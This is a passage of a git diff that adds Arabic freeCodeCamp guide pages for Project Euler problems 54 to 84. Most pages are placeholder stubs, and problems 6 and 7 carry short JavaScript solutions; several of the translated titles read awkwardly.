+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md
new file mode 100644
index 0000000000..d0799b0d1c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Lychrel numbers
+localeTitle: أرقام Lychrel
+---
+## المشكلة 55: أرقام Lychrel
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md
new file mode 100644
index 0000000000..7198e56a6e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Powerful digit sum
+localeTitle: مبلغ قوي
+---
+## المشكلة 56: مجموع أرقام قوية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md
new file mode 100644
index 0000000000..720e7b780c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md
@@ -0,0 +1,9 @@
+---
+title: Square root convergents
+localeTitle: ملتقى الجذر التربيعي
+---
+## المشكلة 57: ملتقيات الجذر التربيعي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md
new file mode 100644
index 0000000000..cdabd8019b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Spiral primes
+localeTitle: الأعداد الأولية لولبية
+---
+## المشكلة 58: الأعداد الأولية لولبية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md
new file mode 100644
index 0000000000..92a20f7002
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md
@@ -0,0 +1,9 @@
+---
+title: XOR decryption
+localeTitle: فك XOR
+---
+## المشكلة 59: فك XOR
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md
new file mode 100644
index 0000000000..2ef59972f1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md
@@ -0,0 +1,36 @@
+---
+title: Sum square difference
+localeTitle: اختلاف مربع الفراغ
+---
+## المشكلة 6: اختلاف مربع الفراغ
+
+### طريقة:
+
+*   يمكن حساب مجموع الأعداد الطبيعية الأولى باستخدام هذه الصيغة:
+    
+*   ![مجموع الارقام n](https://wikimedia.org/api/rest_v1/media/math/render/svg/99476e25466549387c585cb4de44e90f6cbe4cf2)
+    
+*   يمكن حساب مجموع مربعات n من الأرقام الطبيعية باستخدام هذه الصيغة:
+    
+*   ![مجموع المربعات n](https://wikimedia.org/api/rest_v1/media/math/render/svg/ae043bef33d41161541238bdbf4feca9f5e179dd)
+    
+*   يمكننا حساب القيم باستخدام الصيغة المذكورة أعلاه وطرحها للحصول على النتيجة.
+    
+
+### حل:
+
+ ``function sumSquareDifference(n) { 
+  const sumOfN = (n*(n+1))/2; 
+  const sumOfNSquare = (n*(n+1)*(2*n+1))/6; 
+ 
+  //** is exponentaial operator added in ES7, it's equivalent to Math.pow(num, 2)` 
+  return (sumOfN ** 2) - sumOfNSquare; 
+ } 
+`` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Problem-6-Sum-square-difference)
+
+### المراجع:
+
+*   [مجموع الأعداد n - ويكيبيديا](https://en.wikipedia.org/wiki/1_%2B_2_%2B_3_%2B_4_%2B_%E2%8B%AF)
+*   [مجموع الأرقام المربعة n - ويكيبيديا](https://en.wikipedia.org/wiki/Square_pyramidal_number)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md
new file mode 100644
index 0000000000..d0b95a0bcf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime pair sets
+localeTitle: رئيس الوزراء مجموعات
+---
+## المشكلة 60: مجموعات الزوج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md
new file mode 100644
index 0000000000..d649040d20
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclical figurate numbers
+localeTitle: أرقام الرقم الدورية
+---
+## المشكلة 61: الأرقام الدورية figurate
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md
new file mode 100644
index 0000000000..cb534b328f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Cubic permutations
+localeTitle: التباديل مكعب
+---
+## المشكلة 62: التباديل المكعب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md
new file mode 100644
index 0000000000..eb04708086
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md
@@ -0,0 +1,9 @@
+---
+title: Powerful digit counts
+localeTitle: أرقام قوية
+---
+## المشكلة 63: أعداد قوية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md
new file mode 100644
index 0000000000..ada6e83fef
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Odd period square roots
+localeTitle: جدولة مربع الفترة الفردية
+---
+## المشكلة 64: جذور مربعة الفترة الفردية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md
new file mode 100644
index 0000000000..87ca6e54cf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md
@@ -0,0 +1,9 @@
+---
+title: Convergents of e
+localeTitle: تقارب ه
+---
+## المشكلة 65: المتقاربون e
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md
new file mode 100644
index 0000000000..bf7f048153
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md
@@ -0,0 +1,9 @@
+---
+title: Diophantine equation
+localeTitle: معادلة Diophantine
+---
+## المشكلة 66: معادلة Diophantine
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md
new file mode 100644
index 0000000000..60d8d59878
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum path sum II
+localeTitle: أقصى مسار المسار الثاني
+---
+## المشكلة 67: مجموع المسار الثاني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md
new file mode 100644
index 0000000000..bd5b586819
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md
@@ -0,0 +1,9 @@
+---
+title: Magic 5-gon ring
+localeTitle: خاتم سحري 5 غون
+---
+## المشكلة 68: عصابة سحرية 5 غون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md
new file mode 100644
index 0000000000..2cee29a8f7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient maximum
+localeTitle: Totient أكبر
+---
+## المشكلة 69: أقصى حد ممكن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md
new file mode 100644
index 0000000000..e7cc078f90
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md
@@ -0,0 +1,55 @@
+---
+title: 10001st prime
+localeTitle: 10001st
+---
+## المشكلة 7: 10001st رئيس الوزراء
+
+### طريقة:
+
+*   الرقم الأولي هو رقم مقسوم على 1 ونفسه.
+*   يمكننا العثور على رقم أولي إذا كان غير قابل للقسمة من قبل أعداد أولية أصغر من نفسها.
+
+### حل:
+
+ `function nthPrime(n) { 
+ 
+  //Primes array which will store all the prime numbers 
+  const primes = [2]; 
+ 
+  //Num is the number we want to check 
+  let num = 3, isPrime = true; 
+ 
+  //Looping until primes array is equal to n 
+  while (primes.length < n){ 
+ 
+    //All the primes numbers of a number is always <= it's square root 
+    let max = Math.ceil(Math.sqrt(num)); 
+ 
+    for (let i = 0; primes[i] <= max; i++){ 
+      if (num % primes[i] == 0) { 
+ 
+        //Looping till we find the prime 
+        isPrime = false; 
+        break; 
+      } 
+    } 
+ 
+    //if Prime found, push it to the array 
+    if (isPrime) primes.push(num); 
+    isPrime = true; 
+ 
+    //An optimization technique, since we know of all even numbers only 2 is a prime number, we can skip the rest 
+    num+=2; 
+  } 
+ 
+  //Returning the last number 
+  return primes[primes.length-1]; 
+ 
+ } 
+` 
+
+\- [تشغيل الكود](https://repl.it/@ezioda004/Project-Euler-Problem-7-10001st-prime)
+
+### المراجع:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Prime_number)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md
new file mode 100644
index 0000000000..8495b57ac1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient permutation
+localeTitle: التقليب Totient
+---
+## المشكلة 70: التقليب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md
new file mode 100644
index 0000000000..cd10e83704
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Ordered fractions
+localeTitle: الكسور مرتبة
+---
+## المشكلة 71: الكسور مرتبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md
new file mode 100644
index 0000000000..a1b36539e0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting fractions
+localeTitle: عد الكسور
+---
+## المشكلة 72: عد الكسور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md
new file mode 100644
index 0000000000..db1a9d2a07
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting fractions in a range
+localeTitle: عد الكسور في نطاق
+---
+## المشكلة 73: عد الكسور في نطاق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md
new file mode 100644
index 0000000000..8b567a98ae
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit factorial chains
+localeTitle: أرقام نظامية
+---
+## المشكلة 74: سلاسل الأرقام الواقعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md
new file mode 100644
index 0000000000..244c6a3bf9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Singular integer right triangles
+localeTitle: المثلثات الصحيحة الصحيحة الفردية
+---
+## المشكلة 75: مثلثات صحيحة صحيحة مفردة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md
new file mode 100644
index 0000000000..6f4819f120
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting summations
+localeTitle: عد المجموعات
+---
+## المشكلة 76: عد المجموعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md
new file mode 100644
index 0000000000..32f9c01ff3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime summations
+localeTitle: ملخصات رئيسة
+---
+## المشكلة 77: التجميعات الأولية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md
new file mode 100644
index 0000000000..96bc78a861
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md
@@ -0,0 +1,9 @@
+---
+title: Coin partitions
+localeTitle: أقسام عملة
+---
+## المشكلة 78: أقسام عملة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md
new file mode 100644
index 0000000000..c41fdd11ee
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md
@@ -0,0 +1,9 @@
+---
+title: Passcode derivation
+localeTitle: اشتقاق رمز المرور
+---
+## المشكلة 79: اشتقاق الرمز السري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md
new file mode 100644
index 0000000000..31b13b9743
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest product in a series
+localeTitle: أكبر منتج في سلسلة
+---
+## المشكلة 8: أكبر منتج في سلسلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md
new file mode 100644
index 0000000000..34972ba117
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md
@@ -0,0 +1,9 @@
+---
+title: Square root digital expansion
+localeTitle: التوسع الرقمي الجذر التربيعي
+---
+## المشكلة 80: التوسع الرقمي الجذر التربيعي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md
new file mode 100644
index 0000000000..65bcb737af
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - two ways
+localeTitle: مجموع المسار - طريقتان
+---
+## المشكلة 81: مجموع المسار: طريقتان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md
new file mode 100644
index 0000000000..2cafcbe48b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - three ways
+localeTitle: مجموع المسار - ثلاث طرق
+---
+## المشكلة 82: مجموع المسار: ثلاث طرق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md
new file mode 100644
index 0000000000..388dc3c891
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - four ways
+localeTitle: مجموع المسار - أربع طرق
+---
+## المشكلة 83: مجموع المسار: أربع طرق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md
new file mode 100644
index 0000000000..1696162ffa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md
@@ -0,0 +1,9 @@
+---
+title: Monopoly odds
